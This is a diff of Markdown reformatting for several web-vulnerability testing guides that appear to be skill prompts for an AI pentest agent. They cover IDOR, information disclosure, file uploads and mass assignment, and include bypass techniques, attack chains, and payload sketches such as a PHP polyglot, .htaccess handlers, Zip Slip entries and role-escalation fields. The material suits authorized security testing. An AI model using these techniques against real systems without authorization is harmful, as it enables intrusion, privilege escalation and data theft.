 - Time-based IDs (UUIDv1, ULID) may be guessable within a window; combine with leakage sources for targeted access
-</uuid_and_opaque_ids>
 
-<blind_channels>
+### Blind Channels
+
 - Use differential responses (status, size, ETag, timing) to detect existence; error shape often differs for owned vs foreign objects
 - HEAD/OPTIONS, conditional requests (If-None-Match/If-Modified-Since) can confirm existence without full content
-</blind_channels>
-</advanced_techniques>
 
-<bypass_techniques>
-<parser_and_transport>
+## Bypass Techniques
+
+### Parser And Transport
+
 - Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data; some paths enforce checks per parser
 - Method tunneling: X-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changes
 - JSON duplicate keys/array injection to bypass naive validators
-</parser_and_transport>
 
-<parameter_pollution>
+### Parameter Pollution
+
 - Duplicate parameters in query/body to influence server-side precedence (id=123&id=456); try both orderings
 - Mix case/alias param names so gateway and backend disagree (userId vs userid)
-</parameter_pollution>
 
-<cache_and_gateway>
+### Cache And Gateway
+
 - CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users; manipulate Vary and Accept
 - Redirect chains and 304/206 behaviors can leak content across tenants
-</cache_and_gateway>
 
-<race_windows>
+### Race Windows
+
 - Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
-</race_windows>
-</bypass_techniques>
 
-<special_contexts>
-<websocket>
+## Special Contexts
+
+### Websocket
+
 - Authorization per-subscription: ensure channel/topic names cannot be guessed (user_{id}, org_{id}); subscribe/publish checks must run server-side, not only at handshake
 - Try sending messages with target user IDs after subscribing to own channels
-</websocket>
 
-<grpc>
+### Grpc
+
 - Direct protobuf fields (owner_id, tenant_id) often bypass HTTP-layer middleware; validate references via grpcurl with tokens from different principals
-</grpc>
 
-<integrations>
+### Integrations
+
 - Webhooks/callbacks referencing foreign objects (e.g., invoice_id) processed without verifying ownership
 - Third-party importers syncing data into wrong tenant due to missing tenant binding
-</integrations>
-</special_contexts>
 
-<chaining_attacks>
+## Chaining Attacks
+
 - IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
 - IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
 - IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
 - IDOR + Race: bypass spot checks with simultaneous requests
-</chaining_attacks>
 
-<validation>
+## Validation
+
 1. Demonstrate access to an object not owned by the caller (content or metadata).
 2. Show the same request fails with appropriately enforced authorization when corrected.
 3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL).
 4. Document tenant boundary violations (if applicable).
 5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner).
-</validation>
 
-<false_positives>
+## False Positives
+
 - Public/anonymous resources by design
 - Soft-privatized data where content is already public
 - Idempotent metadata lookups that do not reveal sensitive content
 - Correct row-level checks enforced across all channels
-</false_positives>
 
-<impact>
+## Impact
+
 - Cross-account data exposure (PII/PHI/PCI)
 - Unauthorized state changes (transfers, role changes, cancellations)
 - Cross-tenant data leaks violating contractual and regulatory boundaries
 - Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Always test list/search/export endpoints first; they are rich ID seeders.
 2. Build a reusable ID corpus from logs, notifications, emails, and client bundles.
 3. Toggle content-types and transports; authorization middleware often differs per stack.
@@ -189,7 +191,7 @@ query IDOR {
 8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding.
 9. Use timing/size/ETag differentials for blind confirmation when content is masked.
 10. Prove impact with precise before/after diffs and role-separated evidence.
-</pro_tips>
 
-<remember>Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.</remember>
-</idor_vulnerability_guide>
+## Remember
+
+Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.

strix/skills/vulnerabilities/information_disclosure.md

@@ -1,9 +1,11 @@
-<information_disclosure_vulnerability_guide>
-<title>INFORMATION DISCLOSURE</title>
+# INFORMATION DISCLOSURE
 
-<critical>Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.</critical>
+## Critical
+
+Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels.
+
+## Scope
 
-<scope>
 - Errors and exception pages: stack traces, file paths, SQL, framework versions
 - Debug/dev tooling reachable in prod: debuggers, profilers, feature flags
 - DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives
@@ -16,119 +18,119 @@
 - Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes
 - Cross-origin signals: CORS misconfig, Referrer-Policy leakage, Expose-Headers
 - File/document metadata: EXIF, PDF/Office properties
-</scope>
 
-<methodology>
+## Methodology
+
 1. Build a channel map: Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN.
 2. Establish a diff harness: compare owner vs non-owner vs anonymous across transports; normalize on status/body length/ETag/headers.
 3. Trigger controlled failures: send malformed types, boundary values, missing params, and alternate content-types to elicit error detail and stack traces.
 4. Enumerate artifacts: DVCS folders, backups, config endpoints, source maps, client bundles, API docs, observability routes.
 5. Correlate disclosures to impact: versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass, IDs→IDOR.
-</methodology>
 
-<surfaces>
-<errors_and_exceptions>
+## Surfaces
+
+### Errors And Exceptions
+
 - SQL/ORM errors: reveal table/column names, DBMS, query fragments
 - Stack traces: absolute paths, class/method names, framework versions, developer emails
-- Template engine probes: {% raw %}{{7*7}}, ${7*7}{% endraw %} identify templating stack and code paths
+- Template engine probes: `{{7*7}}, ${7*7}` identify templating stack and code paths
 - JSON/XML parsers: type mismatches and coercion logs leak internal model names
-</errors_and_exceptions>
 
-<debug_and_env_modes>
+### Debug And Env Modes
+
 - Debug pages and flags: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off
 - Profiler endpoints: /debug/pprof, /actuator, /_profiler, custom /debug APIs
 - Feature/config toggles exposed in JS or headers; admin/staff banners in HTML
-</debug_and_env_modes>
 
-<dvcs_and_backups>
+### Dvcs And Backups
+
 - DVCS: /.git/ (HEAD, config, index, objects), .svn/entries, .hg/store → reconstruct source and secrets
 - Backups/temp: .bak/.old/~/.swp/.swo/.tmp/.orig, db dumps, zipped deployments under /backup/, /old/, /archive/
 - Build artifacts: dist artifacts containing .map, env prints, internal URLs
-</dvcs_and_backups>
 
-<configs_and_secrets>
+### Configs And Secrets
+
 - Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php
 - Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens, cloud credentials files
 - Credentials and connection strings; internal hosts and ports; JWT secrets
-</configs_and_secrets>
 
-<api_schemas_and_introspection>
+### Api Schemas And Introspection
+
 - OpenAPI/Swagger: /swagger, /api-docs, /openapi.json — enumerate hidden/privileged operations
 - GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields; persisted queries catalogs
 - gRPC: server reflection exposing services/messages; proto download via reflection
-</api_schemas_and_introspection>
 
-<client_bundles_and_maps>
+### Client Bundles And Maps
+
 - Source maps (.map) reveal original sources, comments, and internal logic
 - Client env leakage: NEXT_PUBLIC_/VITE_/REACT_APP_ variables; runtime config; embedded secrets accidentally shipped
 - Next.js data: __NEXT_DATA__ and pre-fetched JSON under /_next/data can include internal IDs, flags, or PII
 - Static JSON/CSV feeds used by the UI that bypass server-side auth filtering
-</client_bundles_and_maps>
 
-<headers_and_response_metadata>
+### Headers And Response Metadata
+
 - Fingerprinting: Server, X-Powered-By, X-AspNet-Version
 - Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
 - Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range (partial content reveals)
 - Content sniffing and MIME metadata that implies backend components
-</headers_and_response_metadata>
 
-<storage_and_exports>
+### Storage And Exports
+
 - Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
 - Signed URLs: long-lived, weakly scoped, re-usable across tenants; metadata leaks in headers
 - Export/report endpoints returning foreign data sets or unfiltered fields
-</storage_and_exports>
 
-<observability_and_admin>
+### Observability And Admin
+
 - Metrics: Prometheus /metrics exposing internal hostnames, process args, SQL, credentials by mistake
 - Health/config: /actuator/health, /actuator/env, Spring Boot info endpoints
 - Tracing UIs and dashboards: Jaeger/Zipkin/Kibana/Grafana exposed without auth
-</observability_and_admin>
 
-<directory_and_indexing>
+### Directory And Indexing
+
 - Autoindex on /uploads/, /files/, /logs/, /tmp/, /assets/
 - Robots/sitemap reveal hidden paths, admin panels, export feeds
-</directory_and_indexing>
 
-<cross_origin_signals>
+### Cross Origin Signals
+
 - Referrer leakage: missing/referrer policy leading to path/query/token leaks to third parties
 - CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
-</cross_origin_signals>
 
-<file_metadata>
+### File Metadata
+
 - EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
-</file_metadata>
-</surfaces>
 
-<advanced_techniques>
-<differential_oracles>
+## Advanced Techniques
+
+### Differential Oracles
+
 - Compare owner vs non-owner vs anonymous for the same resource and track: status, length, ETag, Last-Modified, Cache-Control
 - HEAD vs GET: header-only differences can confirm existence or type without content
 - Conditional requests: 304 vs 200 behaviors leak existence/state; binary search content size via Range requests
-</differential_oracles>
 
-<cdn_and_cache_keys>
+### Cdn And Cache Keys
+
 - Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers → cross-user cached responses
 - Vary misconfiguration: user-agent/language vary without auth vary leaks alternate content
 - 206 partial content + stale caches leak object fragments
-</cdn_and_cache_keys>
 
-<cross_channel_mirroring>
+### Cross Channel Mirroring
+
 - Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC; one channel leaks schema or fields hidden in others
 - SSR vs CSR: server-rendered pages omit fields while JSON API includes them; compare responses
-</cross_channel_mirroring>
 
-<introspection_and_reflection>
+### Introspection And Reflection
+
 - GraphQL: disabled introspection still leaks via errors, fragment suggestions, and client bundles containing schema
 - gRPC reflection: list services/messages and infer internal resource names and flows
-</introspection_and_reflection>
 
-<cloud_specific>
+### Cloud Specific
+
 - S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
 - Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
-</cloud_specific>
-</advanced_techniques>
 
-<usefulness_assessment>
+## Usefulness Assessment
+
 - Actionable signals:
   - Secrets/keys/tokens that grant new access (DB creds, cloud keys, JWT signing/refresh, signed URL secrets)
   - Versions with a reachable, unpatched CVE on an exposed path
@@ -141,17 +143,17 @@
   - Generic server names without precise versions or exploit path
   - Redacted/sanitized fields with stable length/ETag across principals
   - Per-user data visible only to the owner and consistent with privacy policy
-</usefulness_assessment>
 
-<triage_rubric>
+## Triage Rubric
+
 - Critical: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
 - High: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content; schema enabling auth bypass
 - Medium: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints/IDs
 - Low: Generic headers, marketing versions, intended documentation without exploit path
 - Guidance: Always attempt a minimal, reversible proof for Critical/High; if no safe chain exists, document precise blocker and downgrade
-</triage_rubric>
 
-<escalation_playbook>
+## Escalation Playbook
+
 - If DVCS/backups/configs → extract secrets; test least-privileged read; rotate after coordinated disclosure
 - If versions → map to CVE; verify exposure; execute minimal PoC under strict scope
 - If schema/introspection → call hidden/privileged fields with non-owner tokens; confirm auth gaps
@@ -159,56 +161,56 @@
 - If cache/CDN keys → demonstrate cross-user cache leak via Vary/ETag/Range; escalate to broken access control
 - If paths/hosts → target LFI/SSRF with harmless reads (e.g., /etc/hostname, metadata headers); avoid destructive actions
 - If observability/admin → enumerate read-only info first; prove data scope breach; avoid write/exec operations
-</escalation_playbook>
 
-<exploitation_chains>
-<credential_extraction>
+## Exploitation Chains
+
+### Credential Extraction
+
 - DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
 - Keys → cloud control plane access; rotate and verify scope
-</credential_extraction>
 
-<version_to_cve>
+### Version To Cve
+
 1. Derive precise component versions from headers/errors/bundles.
 2. Map to known CVEs and confirm reachability.
 3. Execute minimal proof targeting disclosed component.
-</version_to_cve>
 
-<path_disclosure_to_lfi>
+### Path Disclosure To Lfi
+
 1. Paths from stack traces/templates reveal filesystem layout.
 2. Use LFI/traversal to fetch config/keys.
 3. Prove controlled access without altering state.
-</path_disclosure_to_lfi>
 
-<schema_to_auth_bypass>
+### Schema To Auth Bypass
+
 1. Schema reveals hidden fields/endpoints.
 2. Attempt requests with those fields; confirm missing authorization or field filtering.
-</schema_to_auth_bypass>
-</exploitation_chains>
 
-<validation>
+## Validation
+
 1. Provide raw evidence (headers/body/artifact) and explain exact data revealed.
 2. Determine intent: cross-check docs/UX; classify per triage rubric (Critical/High/Medium/Low).
 3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain (what to try next and why).
 4. Show reproducibility and minimal request set; include cross-channel confirmation where applicable.
 5. Bound scope (user, tenant, environment) and data sensitivity classification.
-</validation>
 
-<false_positives>
+## False Positives
+
 - Intentional public docs or non-sensitive metadata with no exploit path
 - Generic errors with no actionable details
 - Redacted fields that do not change differential oracles (length/ETag stable)
 - Version banners with no exposed vulnerable surface and no chain
 - Owner-visible-only details that do not cross identity/tenant boundaries
-</false_positives>
 
-<impact>
+## Impact
+
 - Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
 - Credential/secret exposure leading to persistent external compromise
 - Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
 - Privacy/regulatory violations and business intelligence leakage
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins.
 2. Normalize responses and diff by digest to reduce noise when comparing roles.
 3. Hunt source maps and client data JSON; they often carry internal IDs and flags.
@@ -216,7 +218,7 @@
 5. Treat introspection and reflection as configuration findings across GraphQL/gRPC; validate per environment.
 6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups.
 7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible.
-</pro_tips>
 
-<remember>Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.</remember>
-</information_disclosure_vulnerability_guide>
+## Remember
+
+Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.

strix/skills/vulnerabilities/insecure_file_uploads.md

@@ -1,177 +1,179 @@
-<insecure_file_uploads_guide>
-<title>INSECURE FILE UPLOADS</title>
+# INSECURE FILE UPLOADS
 
-<critical>Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.</critical>
+## Critical
+
+Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.
+
+## Scope
 
-<scope>
 - Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
 - Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
 - Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
 - Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
-</scope>
 
-<methodology>
+## Methodology
+
 1. Map the pipeline: client → ingress (edge/app/gateway) → storage → processors (thumb, OCR, AV, CDR) → serving (app/storage/CDN). Note where validation and auth occur.
 2. Identify allowed types, size limits, filename rules, storage keys, and who serves the content. Collect baseline uploads per type and capture resulting URLs and headers.
 3. Exercise bypass families systematically: extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure, chunk/finalize differentials.
 4. Validate execution and rendering: can uploaded content execute on server or client? Confirm with minimal PoCs and headers analysis.
-</methodology>
 
-<discovery_techniques>
-<surface_map>
+## Discovery Techniques
+
+### Surface Map
+
 - Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template
 - Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control
 - Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late
 - Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions
-</surface_map>
 
-<capability_probes>
+### Capability Probes
+
 - Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download
 - Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing
 - SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)?
 - Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules
-</capability_probes>
-</discovery_techniques>
 
-<detection_channels>
-<server_execution>
+## Detection Channels
+
+### Server Execution
+
 - Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution
 - Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool)
-</server_execution>
 
-<client_execution>
+### Client Execution
+
 - Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
-</client_execution>
 
-<header_and_render>
+### Header And Render
+
 - Missing X-Content-Type-Options: nosniff enabling browser sniff to script
 - Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
-</header_and_render>
 
-<process_side_effects>
+### Process Side Effects
+
 - AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning
-</process_side_effects>
-</detection_channels>
 
-<core_payloads>
-<web_shells_and_configs>
+## Core Payloads
+
+### Web Shells And Configs
+
 - PHP: GIF polyglot (starts with GIF89a) followed by <?php echo 1; ?>; place where PHP is executed
 - .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
 - ASP/JSP equivalents where supported; IIS web.config to enable script execution
-</web_shells_and_configs>
 
-<stored_xss>
+### Stored Xss
+
 - SVG with onload/onerror handlers served as image/svg+xml or text/html
 - HTML file with script when served as text/html or sniffed due to missing nosniff
-</stored_xss>
 
-<mime_magic_polyglots>
+### Mime Magic Polyglots
+
 - Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
 - Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
-</mime_magic_polyglots>
 
-<archive_attacks>
+### Archive Attacks
+
 - Zip Slip: entries with ../../ to escape extraction dir; symlink-in-zip pointing outside target; nested zips
 - Zip bomb: extreme compression ratios (e.g., 42.zip) to exhaust resources in processors
-</archive_attacks>
 
-<toolchain_exploits>
+### Toolchain Exploits
+
 - ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files
 - Ghostscript in PDF/PS with file operators (%pipe%)
 - ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields
-</toolchain_exploits>
 
-<cloud_storage_vectors>
+### Cloud Storage Vectors
+
 - S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
 - Public-read ACL or permissive bucket policies expose uploads broadly; object key injection via user-controlled path prefixes
 - Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
-</cloud_storage_vectors>
-</core_payloads>
 
-<advanced_techniques>
-<resumable_multipart>
+## Advanced Techniques
+
+### Resumable Multipart
+
 - Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
 - Upload benign chunks, then swap last chunk or complete with different source if server trusts client-side digests only
-</resumable_multipart>
 
-<filename_and_path>
+### Filename And Path
+
 - Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators and filesystem rules
 - Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
-</filename_and_path>
 
-<processing_races>
+### Processing Races
+
 - Request file immediately after upload but before AV/CDR completes; or during derivative creation to get unprocessed content
 - Trigger heavy conversions (large images, deep PDFs) to widen race windows
-</processing_races>
 
-<metadata_abuse>
+### Metadata Abuse
+
 - Oversized EXIF/XMP/IPTC blocks to trigger parser flaws; payloads in document properties of Office/PDF rendered by previewers
-</metadata_abuse>
 
-<header_manipulation>
+### Header Manipulation
+
 - Force inline rendering with Content-Type + inline Content-Disposition; test browsers with and without nosniff
 - Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
-</header_manipulation>
-</advanced_techniques>
 
-<filter_bypasses>
-<validation_gaps>
+## Filter Bypasses
+
+### Validation Gaps
+
 - Client-side only checks; relying on JS/MIME provided by browser; trusting multipart boundary part headers blindly
 - Extension allowlists without server-side content inspection; magic-bytes only without full parsing
-</validation_gaps>
 
-<evasion_tricks>
+### Evasion Tricks
+
 - Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix
 - Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence
-</evasion_tricks>
-</filter_bypasses>
 
-<special_contexts>
-<rich_text_editors>
+## Special Contexts
+
+### Rich Text Editors
+
 - RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers for embedded content
-</rich_text_editors>
 
-<mobile_clients>
+### Mobile Clients
+
 - Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations or EXIF orientation
-</mobile_clients>
 
-<serverless_and_cdn>
+### Serverless And Cdn
+
 - Direct-to-bucket uploads with Lambda/Workers post-processing; verify that security decisions are not delegated to frontends
 - CDN caching of uploaded content; ensure correct cache keys and headers (attachment, nosniff)
-</serverless_and_cdn>
-</special_contexts>
 
-<parser_hardening>
+## Parser Hardening
+
 - Validate on server: strict allowlist by true type (parse enough to confirm), size caps, and structural checks (dimensions, page count)
 - Strip active content: convert SVG→PNG; remove scripts/JS from PDF; disable macros; normalize EXIF; consider CDR for risky types
 - Store outside web root; serve via application or signed, time-limited URLs with Content-Disposition: attachment and X-Content-Type-Options: nosniff
 - For cloud: private buckets, per-request signed GET, enforce Content-Type/Disposition on GET responses from your app/gateway
 - Disable execution in upload paths; ignore .htaccess/.user.ini; sanitize keys to prevent path injections; randomize filenames
 - AV + CDR: scan synchronously when possible; quarantine until verdict; block password-protected archives or process in sandbox
-</parser_hardening>
 
-<validation>
+## Validation
+
 1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed.
 2. Show filter bypass: upload accepted despite restrictions (extension/MIME/magic mismatch) with evidence on retrieval.
 3. Prove header weaknesses: inline rendering without nosniff or missing attachment; present exact response headers.
 4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory; derivative creation from malicious input.
 5. Provide reproducible steps: request/response for upload and subsequent access, with minimal PoCs.
-</validation>
 
-<false_positives>
+## False Positives
+
 - Upload stored but never served back; or always served as attachment with strict nosniff
 - Converters run in locked-down sandboxes with no external IO and no script engines; no path traversal on archive extraction
 - AV/CDR blocks the payload and quarantines; access before scan is impossible by design
-</false_positives>
 
-<impact>
+## Impact
+
 - Remote code execution on application stack or media toolchain host
 - Persistent cross-site scripting and session/token exfiltration via served uploads
 - Malware distribution via public storage/CDN; brand/reputation damage
 - Data loss or corruption via overwrite/zip slip; service degradation via zip bombs or oversized assets
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant, and benign magic-byte polyglots.
 2. Always capture download response headers and final MIME from the server/CDN; that decides browser behavior.
 3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than attempting complex sanitization.
@@ -182,7 +184,7 @@
 8. When you cannot get execution, aim for stored XSS or header-driven script execution; both are impactful.
 9. Validate that CDNs honor attachment/nosniff and do not override Content-Type/Disposition.
 10. Document full pipeline behavior per asset type; defenses must match actual processors and serving paths.
-</pro_tips>
 
-<remember>Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.</remember>
-</insecure_file_uploads_guide>
+## Remember
+
+Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.

strix/skills/vulnerabilities/mass_assignment.md

@@ -1,141 +1,147 @@
-<mass_assignment_guide>
-<title>MASS ASSIGNMENT</title>
+# MASS ASSIGNMENT
 
-<critical>Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.</critical>
+## Critical
+
+Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.
+
+## Scope
 
-<scope>
 - REST/JSON, GraphQL inputs, form-encoded and multipart bodies
 - Model binding in controllers/resolvers; ORM create/update helpers
 - Writable nested relations, sparse/patch updates, bulk endpoints
-</scope>
 
-<methodology>
+## Methodology
+
 1. Identify create/update endpoints and GraphQL mutations. Capture full server responses to observe returned fields.
 2. Build a candidate list of sensitive attributes per resource: role/isAdmin/permissions, ownerId/accountId/tenantId, status/state, plan/price, limits/quotas, feature flags, verification flags, balance/credits.
 3. Inject candidates alongside legitimate updates across transports and encodings; compare before/after state and diffs across roles.
 4. Repeat with nested objects, arrays, and alternative shapes (dot/bracket notation, duplicate keys) and in batch operations.
-</methodology>
 
-<discovery_techniques>
-<surface_map>
+## Discovery Techniques
+
+### Surface Map
+
 - Controllers with automatic binding (e.g., request.json → model); GraphQL input types mirroring models; admin/staff tools exposed via API
 - OpenAPI/GraphQL schemas: uncover hidden fields or enums; SDKs often reveal writable fields
 - Client bundles and mobile apps: inspect forms and mutation payloads for field names
-</surface_map>
 
-<parameter_strategies>
+### Parameter Strategies
+
 - Flat fields: isAdmin, role, roles[], permissions[], status, plan, tier, premium, verified, emailVerified
 - Ownership/tenancy: userId, ownerId, accountId, organizationId, tenantId, workspaceId
 - Limits/quotas: usageLimit, seatCount, maxProjects, creditBalance
 - Feature flags/gates: features, flags, betaAccess, allowImpersonation
 - Billing: price, amount, currency, prorate, nextInvoice, trialEnd
-</parameter_strategies>
 
-<shape_variants>
+### Shape Variants
+
 - Alternate shapes: arrays vs scalars; nested JSON; objects under unexpected keys
 - Dot/bracket paths: profile.role, profile[role], settings[roles][]
 - Duplicate keys and precedence: {"role":"user","role":"admin"}
 - Sparse/patch formats: JSON Patch/JSON Merge Patch; try adding forbidden paths or replacing protected fields
-</shape_variants>
 
-<encodings_and_channels>
+### Encodings And Channels
+
 - Content-types: application/json, application/x-www-form-urlencoded, multipart/form-data, text/plain (JSON via server coercion)
 - GraphQL: add suspicious fields to input objects; overfetch response to detect changes
 - Batch/bulk: arrays of objects; verify per-item allowlists not skipped
-</encodings_and_channels>
 
-<exploitation_techniques>
-<privilege_escalation>
+### Exploitation Techniques
+
+#### Privilege Escalation
+
 - Set role/isAdmin/permissions during signup/profile update; toggle admin/staff flags where exposed
-</privilege_escalation>
 
-<ownership_takeover>
+#### Ownership Takeover
+
 - Change ownerId/accountId/tenantId to seize resources; move objects across users/tenants
-</ownership_takeover>
 
-<feature_gate_bypass>
+#### Feature Gate Bypass
+
 - Enable premium/beta/feature flags via flags/features fields; raise limits/seatCount/quotas
-</feature_gate_bypass>
 
-<billing_and_entitlements>
+#### Billing And Entitlements
+
 - Modify plan/price/prorate/trialEnd or creditBalance; bypass server recomputation
-</billing_and_entitlements>
 
-<nested_and_relation_writes>
+#### Nested And Relation Writes
+
 - Writable nested serializers or ORM relations allow creating or linking related objects beyond caller’s scope (e.g., attach to another user’s org)
-</nested_and_relation_writes>
 
-<advanced_techniques>
-<graphQL_specific>
+#### Advanced Techniques
+
+##### GraphQL Specific
+
 - Field-level authz missing on input types: attempt forbidden fields in mutation inputs; combine with aliasing/batching to compare effects
 - Use fragments to overfetch changed fields immediately after mutation
-</graphQL_specific>
 
-<orm_framework_edges>
+##### Orm Framework Edges
+
 - Rails: strong parameters misconfig or deep nesting via accepts_nested_attributes_for
 - Laravel: $fillable/$guarded misuses; guarded=[] opens all; casts mutating hidden fields
 - Django REST Framework: writable nested serializer, read_only/extra_kwargs gaps, partial updates
 - Mongoose/Prisma: schema paths not filtered; select:false doesn’t prevent writes; upsert defaults
-</orm_framework_edges>
 
-<parser_and_validator_gaps>
+##### Parser And Validator Gaps
+
 - Validators run post-bind and do not cover extra fields; unknown fields silently dropped in response but persisted underneath
 - Inconsistent allowlists between mobile/web/gateway; alt encodings bypass validation pipeline
-</parser_and_validator_gaps>
 
-<bypass_techniques>
-<content_type_switching>
+##### Bypass Techniques
+
+###### Content Type Switching
+
 - Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one
-</content_type_switching>
 
-<key_path_variants>
+###### Key Path Variants
+
 - Dot/bracket/object re-shaping to reach nested fields through different binders
-</key_path_variants>
 
-<batch_paths>
+###### Batch Paths
+
 - Per-item checks skipped in bulk operations; insert a single malicious object within a large batch
-</batch_paths>
 
-<race_and_reorder>
+###### Race And Reorder
+
 - Race two updates: first sets forbidden field, second normalizes; final state may retain forbidden change
-</race_and_reorder>
 
-<validation>
+###### Validation
+
 1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller.
 2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value.
 3. Demonstrate consistency across at least two encodings or channels.
 4. For nested/bulk, show that protected fields are written within child objects or array elements.
 5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility.
-</validation>
 
-<false_positives>
+###### False Positives
+
 - Server recomputes derived fields (plan/price/role) ignoring client input
 - Fields marked read-only and enforced consistently across encodings
 - Only UI-side changes with no persisted effect
